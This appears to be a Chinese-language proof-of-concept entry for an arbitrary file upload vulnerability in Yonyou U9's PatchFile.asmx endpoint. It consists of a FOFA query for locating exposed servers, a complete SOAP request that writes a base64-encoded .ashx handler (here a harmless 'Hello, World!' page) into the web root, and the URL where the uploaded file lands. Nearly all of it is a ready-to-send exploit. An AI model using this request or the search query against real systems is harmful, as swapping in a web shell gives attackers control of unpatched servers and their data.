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37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
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## 用友-U9-PatchFile.asmx任意文件上传漏洞
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用友 U9 PatchFile.asmx 接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。
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## fofa
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```
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body="logo-u9.png"
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```
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## poc
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```
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POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
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Host: 127.0.0.1
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User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0
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Content-Length: 898
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Content-Type: text/xml; charset=utf-8
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Soapaction: "http://tempuri.org/SaveFile"
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Accept-Encoding: gzip, deflate, br
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Connection: close
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<SaveFile xmlns="http://tempuri.org/">
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<binData>PCVAIFdlYkhhbmRsZXIgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iSGVsbG9Xb3JsZEhhbmRsZXIiICU+Cgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5XZWI7CgpwdWJsaWMgY2xhc3MgSGVsbG9Xb3JsZEhhbmRsZXIgOiBJSHR0cEhhbmRsZXIKewogICAgcHVibGljIHZvaWQgUHJvY2Vzc1JlcXVlc3QoSHR0cENvbnRleHQgY29udGV4dCkKICAgIHsKICAgICAgICBjb250ZXh0LlJlc3BvbnNlLkNvbnRlbnRUeXBlID0gInRleHQvcGxhaW4iOwogICAgICAgIGNvbnRleHQuUmVzcG9uc2UuV3JpdGUoIkhlbGxvLCBXb3JsZCEiKTsKICAgIH0KCiAgICBwdWJsaWMgYm9vbCBJc1JldXNhYmxlCiAgICB7CiAgICAgICAgZ2V0IHsgcmV0dXJuIGZhbHNlOyB9CiAgICB9Cn0=</binData>
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<path>./</path>
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<fileName>bTRkH1.ashx</fileName>
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</SaveFile>
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</soap:Body>
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</soap:Envelope>
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```
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路径：`http://127.0.0.1/CS/Office/AutoUpdates/bTRkH1.ashx`
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